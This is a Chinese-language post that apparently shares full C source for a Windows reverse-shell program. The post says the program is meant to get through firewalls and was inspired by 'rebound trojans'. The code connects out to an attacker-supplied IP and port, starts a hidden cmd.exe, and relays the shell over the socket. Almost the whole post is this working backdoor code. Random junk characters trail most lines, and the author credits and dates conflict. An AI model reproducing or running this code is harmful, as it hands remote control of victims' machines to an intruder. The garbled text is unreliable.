Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 TN1pg  
R(`:~@3\6  
/* ============================== ^lAM /   
Rebound port in Windows NT :aK?DtZ  
By wind,2006/7 :8!RGtn  
===============================*/ 5nUJ9sqA  
#include Ml7 (<J  
#include BHf$ %?3z,  
d&[RfZ`  
#pragma comment(lib,"wsock32.lib") ]%)<9]}  
2ozh!8aL  
void OutputShell(); fT|A^  
SOCKET sClient; T*f/M  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >WIc"y.  
xbm%+  
void main(int argc,char **argv) ]S%(l,  
{ l6y}>]  
WSADATA stWsaData; W3:Fw6v  
int nRet; nuXL{tg6  
SOCKADDR_IN stSaiClient,stSaiServer; 0]kKF<s  
sl `jovT[Y  
if(argc != 3) b7Jxv7$e  
{ ?%h$deJ  
printf("Useage:\n\rRebound DestIP DestPort\n"); V`1,s~"q  
return;  C/IF~<B  
} D]]wJQU2  
&cSVOsi  
WSAStartup(MAKEWORD(2,2),&stWsaData); Ic9L@2m  
,-4NSli  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F5Z,Jmi^M  
d=PX}o^  
stSaiClient.sin_family = AF_INET; EUi 70h+  
stSaiClient.sin_port = htons(0); Bchv1KF  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); mK[Z#obc=  
0RT8N=B83  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) du66a+@t  
{ x}yl Rg`[  
printf("Bind Socket Failed!\n"); Gv_~@
MN
 
return; N)H "'#-  
} XP:A"WK"  
('tXv"fT  
stSaiServer.sin_family = AF_INET; ZpV]X(Px(o  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =~GP;=6  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C/!.VMl^  
4|=>gdW)KN  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,Uz8_r  
{ ]>t~Bcnm  
printf("Connect Error!"); LE\=Y;%  
return; ->8Kd1^F  
} "XR=P> xk  
OutputShell(); +?$J8Paf  
} 3m1(l?fp  
.eR1\IAm  
void OutputShell() DB5J3r81  
{ iT>u&0B-  
char szBuff[1024]; R}ki%i5|  
SECURITY_ATTRIBUTES stSecurityAttributes; x b"z%.
j  
OSVERSIONINFO stOsversionInfo;  :\\NK/"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :&IHdf0+  
STARTUPINFO stStartupInfo; jYHnJ}<  
char *szShell; Dfs*~H63  
PROCESS_INFORMATION stProcessInformation; #ES[),+|mB  
unsigned long lBytesRead; % i4 5  
*siX:?l  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~U0%}Bbh  
|O{N_-];.  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &-3e3)  
stSecurityAttributes.lpSecurityDescriptor = 0; K(EJ`2]:r  
stSecurityAttributes.bInheritHandle = TRUE; h2ROQKL"B  
b=
,BLe\  
C/e.BXA  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gV2vwe  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J~m$7T3Af  
b/M/)o!C  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); yQ$irS?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rwRZGd *p  
stStartupInfo.wShowWindow = SW_HIDE; Q$E.G63Wl  
stStartupInfo.hStdInput = hReadPipe; *;fTiL  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; LwC?t3n
 
o,*m,Qc  
GetVersionEx(&stOsversionInfo); 9/k2
zXY  
79T_9}M  
switch(stOsversionInfo.dwPlatformId) >jW
**F  
{ &C9IR,&  
case 1: n-Iz!;q  
szShell = "command.com"; v$y\X3)mB  
break; p&(0e,`z/  
default: uf6egm5]  
szShell = "cmd.exe"; :Y99L)+=/  
break; 6] x6Fe
uS  
} w2s`9  
gP%<<yl  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); oGcgd$%ZB  
<Wn~s=  
send(sClient,szMsg,77,0); {7:1F)Pj  
while(1) '12m4quO  
{ +(+lbCW/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z",0 $Gxu  
if(lBytesRead) G_F_TNO
 
{ K*@?BE  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S5).\1m h[  
send(sClient,szBuff,lBytesRead,0); K)'[^V Xh  
} ]Jswxw  
else +6WjOcu  
{ o,i_py  
lBytesRead=recv(sClient,szBuff,1024,0); jJ2rfdfj  
if(lBytesRead<=0) break; 4@{;z4*`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 59.$;Ip;g  
} z 0?MeH#  
} nAP*w6m0j  
(Yy#:r;U  
return; 4 $k{,  
}